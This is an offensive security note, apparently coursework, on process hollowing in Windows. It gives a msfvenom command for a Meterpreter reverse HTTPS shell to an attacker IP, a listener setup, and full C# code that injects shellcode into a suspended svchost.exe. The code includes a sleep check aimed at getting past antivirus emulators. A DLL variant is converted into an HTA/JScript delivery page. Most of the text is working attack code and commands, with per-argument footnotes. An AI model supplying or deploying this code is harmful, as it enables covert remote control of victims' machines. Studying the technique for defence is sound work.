# Process Hollowing

{% embed url="<https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1>" %}
\*start-hollow\.ps1
{% endembed %}

<pre data-title="c# shellcode:" data-overflow="wrap"><code><a data-footnote-ref href="#user-content-fn-1">msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp</a>
</code></pre>

{% hint style="info" %}
process to hollow: *svchost.exe* is `64-bit`, need to match it
{% endhint %}

{% code title="listener:" overflow="wrap" %}

```bash
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
```

{% endcode %}

<pre class="language-csharp" data-title="hollow.exe" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">using System;
using System.Runtime.InteropServices;

namespace hollow
{
    internal class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
        IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
        uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,
        int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
        uint ProcInfoLen, ref uint retlen);

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
            byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern uint ResumeThread(IntPtr hThread);

        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);
                
        static void Main(string[] args)
        {
            DateTime t1 = DateTime.Now;
            <a data-footnote-ref href="#user-content-fn-2">Sleep(2000);</a>
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if(t2 &#x3C; 1.5)
            {
                return;
            }
            
            <a data-footnote-ref href="#user-content-fn-3">STARTUPINFO si = new STARTUPINFO();</a>
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

            bool res = CreateProcess(<a data-footnote-ref href="#user-content-fn-4">null, "C:\\Windows\\System32\\svchost.exe"</a>, <a data-footnote-ref href="#user-content-fn-5">IntPtr.Zero</a>,
                <a data-footnote-ref href="#user-content-fn-5">IntPtr.Zero</a>, <a data-footnote-ref href="#user-content-fn-6">false</a>, <a data-footnote-ref href="#user-content-fn-7">0x4</a>, <a data-footnote-ref href="#user-content-fn-8">IntPtr.Zero, null</a>, <a data-footnote-ref href="#user-content-fn-9">ref si</a>, <a data-footnote-ref href="#user-content-fn-10">out pi</a>);


            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;
            IntPtr hProcess = pi.hProcess;
            <a data-footnote-ref href="#user-content-fn-11">ZwQueryInformationProcess</a>(<a data-footnote-ref href="#user-content-fn-12">hProcess</a>, <a data-footnote-ref href="#user-content-fn-13">0</a>, <a data-footnote-ref href="#user-content-fn-14">ref bi</a>, <a data-footnote-ref href="#user-content-fn-15">(uint)(IntPtr.Size * 6)</a>, <a data-footnote-ref href="#user-content-fn-16">ref tmp</a>);

            <a data-footnote-ref href="#user-content-fn-17">IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10)</a>;


            byte[] addrBuf = new byte[IntPtr.Size];
            IntPtr nRead = IntPtr.Zero;
            <a data-footnote-ref href="#user-content-fn-18">ReadProcessMemory</a>(<a data-footnote-ref href="#user-content-fn-19">hProcess</a>, <a data-footnote-ref href="#user-content-fn-20">ptrToImageBase</a>, <a data-footnote-ref href="#user-content-fn-21">addrBuf</a>, <a data-footnote-ref href="#user-content-fn-22">addrBuf.Length</a>, <a data-footnote-ref href="#user-content-fn-23">out nRead</a>);

            <a data-footnote-ref href="#user-content-fn-24">IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));</a>


            byte[] data = new byte[0x200];
            <a data-footnote-ref href="#user-content-fn-25">ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);</a>


            <a data-footnote-ref href="#user-content-fn-26">uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);</a>

            <a data-footnote-ref href="#user-content-fn-27">uint opthdr = e_lfanew_offset + 0x28;</a>

            <a data-footnote-ref href="#user-content-fn-28">uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);</a>

            <a data-footnote-ref href="#user-content-fn-29">IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);</a>


            <a data-footnote-ref href="#user-content-fn-30">byte[] buf = new byte[6] {</a>
            0xfc,0x48,0x83,0xe4,0xf0,0xe8};

            // decryptor if used evasion encryptor
            //for (int i = 0; i &#x3C; buf.Length; i++)
            //{
            //    buf[i] = (byte)(((uint)buf[i] - 2) &#x26; 0xFF);
            //}

            <a data-footnote-ref href="#user-content-fn-31">WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);</a>


            <a data-footnote-ref href="#user-content-fn-32">ResumeThread(pi.hThread);</a>
        }
    }
}
</code></pre>

{% hint style="info" %}
This is to create a suspended process, hollow out its original code, replace it with our shellcode, and subsequently execute it, resulting in a reverse Meterpreter shell executing inside a svchost.exe process, possibly evading suspicion since it is a trusted process that also engages in network communications.

While the code and technique here only writes shellcode into the suspended process, we could also use this technique to [hollow an entire compiled EXE](https://github.com/m0n0ph1/Process-Hollowing).
{% endhint %}

<pre class="language-csharp" data-title="Hollow4DotNetToJscript.dll" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

[ComVisible(true)]
public class TestClass
{
    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
    static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
    IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
    uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
        [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
    struct STARTUPINFO
    {
        public Int32 cb;
        public IntPtr lpReserved;
        public IntPtr lpDesktop;
        public IntPtr lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }

    [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
    private static extern int ZwQueryInformationProcess(IntPtr hProcess,
    int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
    uint ProcInfoLen, ref uint retlen);

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_BASIC_INFORMATION
    {
        public IntPtr Reserved1;
        public IntPtr PebAddress;
        public IntPtr Reserved2;
        public IntPtr Reserved3;
        public IntPtr UniquePid;
        public IntPtr MoreReserved;
    }

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
        [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
        byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern uint ResumeThread(IntPtr hThread);

    [DllImport("kernel32.dll")]
    static extern void Sleep(uint dwMilliseconds);
            
    public TestClass()
    {
        DateTime t1 = DateTime.Now; 
       <a data-footnote-ref href="#user-content-fn-2"> Sleep(2000);</a>
        double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
        if(t2 &#x3C; 1.5)
        {
            return;
        }
        
        STARTUPINFO si = new STARTUPINFO();
        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

        bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero,
            IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);


        PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
        uint tmp = 0;
        IntPtr hProcess = pi.hProcess;
        ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);

        IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);


        byte[] addrBuf = new byte[IntPtr.Size];
        IntPtr nRead = IntPtr.Zero;
        ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);

        IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));


        byte[] data = new byte[0x200];
        ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);


        uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);

        uint opthdr = e_lfanew_offset + 0x28;

        uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);

        IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);


        <a data-footnote-ref href="#user-content-fn-30">byte[] buf = new byte[6] {</a>
            0xfc,0x48,0x83,0xe4,0xf0,0xe8};

            // decryptor if used evasion encryptor
            //for (int i = 0; i &#x3C; buf.Length; i++)
            //{
            //    buf[i] = (byte)(((uint)buf[i] - 2) &#x26; 0xFF);
            //}

        WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);


        ResumeThread(pi.hThread);
    }

    public void RunProcess(string path)
    {
        Process.Start(path);
    }
}
</code></pre>

{% hint style="info" %}
Match shellcode architecture (*svchost.exe* is `64-bit`) in compiling
{% endhint %}

<pre data-title="4DotNetToJscript.dll -> .js" data-overflow="wrap"><code><a data-footnote-ref href="#user-content-fn-33">DotNetToJScript.exe</a> Hollow4DotNetToScript.dll --lang=Jscript --ver=v4 -o demo.js
</code></pre>

```
python -m http.server 80
```

<pre class="language-html" data-title=".js -> .hta" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-html">&#x3C;html>
    &#x3C;head>
        <a data-footnote-ref href="#user-content-fn-34">&#x3C;script language="JScript"></a>
            function setversion() {
			new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
			}
			function debug(s) {}
			function base64ToStream(b) {
				var enc = new ActiveXObject("System.Text.ASCIIEncoding");
				var length = enc.GetByteCount_2(b);
				var ba = enc.GetBytes_4(b);
				var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
				ba = transform.TransformFinalBlock(ba, 0, length);
				var ms = new ActiveXObject("System.IO.MemoryStream");
				ms.Write(ba, 0, (length / 4) * 3);
				ms.Position = 0;
				return ms;
			}

			var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
			"AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"+
			"ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA";
			var entry_class = 'TestClass';

			try {
				setversion();
				var stm = base64ToStream(serialized_obj);
				var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
				var al = new ActiveXObject('System.Collections.ArrayList');
				var d = fmt.Deserialize_2(stm);
				al.Add(undefined);
				var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
				
			} catch (e) {
				debug(e.message);
			}
        &#x3C;/script>
    &#x3C;/head>
    &#x3C;body>
        &#x3C;script language="JScript">
            self.close();
        &#x3C;/script>
    &#x3C;/body>
&#x3C;/html>
</code></pre>

[^1]: `byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8...}`

[^2]: [bypass AV emulator](https://osnotes.jackielam.net/osep/attack/evasions/..#sleep)

[^3]: invoke the call by first instantiating a *STARTUPINFO* and a *PROCESS\_INFORMATION* object

[^4]: set *`lpApplicationName`* to "null" and *`lpCommandLine`* to the full path of svchost.exe

[^5]: "null" to obtain the default descriptor

[^6]: specify if any handles in our current process should be inherited by the new process, but we do not care

[^7]: to launch the new process in a suspended state

[^8]: environment variable settings to be used and the current directory for the new application

[^9]: pass a *STARTUPINFO* structure, which can contain a number of values related to how the window of a new process should be configured.

[^10]: *PROCESS\_INFORMATION* structure that is populated by *CreateProcessW* with identification information about the new process, including the process ID and a handle to the process

[^11]: call *ZwQueryInformationProcess* and fetch the address of the PEB from the *PROCESS\_BASIC\_INFORMATION* structure to locate the EntryPoint by first disclosing the PEB

[^12]: a process handle that we can obtain from the *PROCESS\_INFORMATION* structure

[^13]: The API can perform many actions depending on the second argument (*ProcessInformationClass*), which is only partially documented. For our purposes, we will set this to *ProcessBasicInformation* with a numerical representation of "0".

[^14]:

[^15]: indicate the size of the input structure (six *IntPtr*)

[^16]: a variable to hold the size of the fetched data

[^17]: contains a pointer to the image base of svchost.exe in the suspended process

[^18]: to fetch the address of the code base by reading eight bytes of memory

[^19]: a process handle

[^20]: the address to read from

[^21]: a buffer to copy the content into

[^22]: the number of bytes to read

[^23]: a variable to contain the number of bytes actually read

[^24]: specifying an 8-byte buffer that is then converted to a 64bit integer through the *BitConverter.ToInt64* method and then casted to a pointer using *(IntPtr)*.

    <mark style="background-color:blue;">It is worth noting that a memory address takes up eight bytes in a 64-bit process, while it only uses four bytes in a 32-bit process, so the use of variable types, offsets, and amount of data read must be adapted.</mark>

[^25]: parse the PE header to locate the EntryPoint with a buffer size of 0x200 bytes

[^26]: read the content at offset 0x3C

    convert four bytes at offset 0x3C (*e\_lfanew* field) to an unsigned integer. As stated previously, this is the offset from the image base to the `PE header` structure.

[^27]: use content at `0x3C` as a second offset when added to `0x28`

    convert the four bytes at offset e\_lfanew plus 0x28 into an unsigned integer. This value is the offset from the image base to the `EntryPoint`

[^28]: The offset from the base address of svchost.exe to the EntryPoint is also called the relative virtual address (RVA).&#x20;

[^29]: We must add the RVA to the image base to obtain the full memory address of the EntryPoint.

[^30]: `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp`

[^31]: to overwrite the existing code with shellcode after obtaining the address of the EntryPoint

[^32]: to let the suspended thread of a remote process continue its execution

[^33]: <https://github.com/tyranid/DotNetToJScript>

[^34]: `4DotNetToJscript.dll --lang=Jscript --ver=v4 -o demo.js`
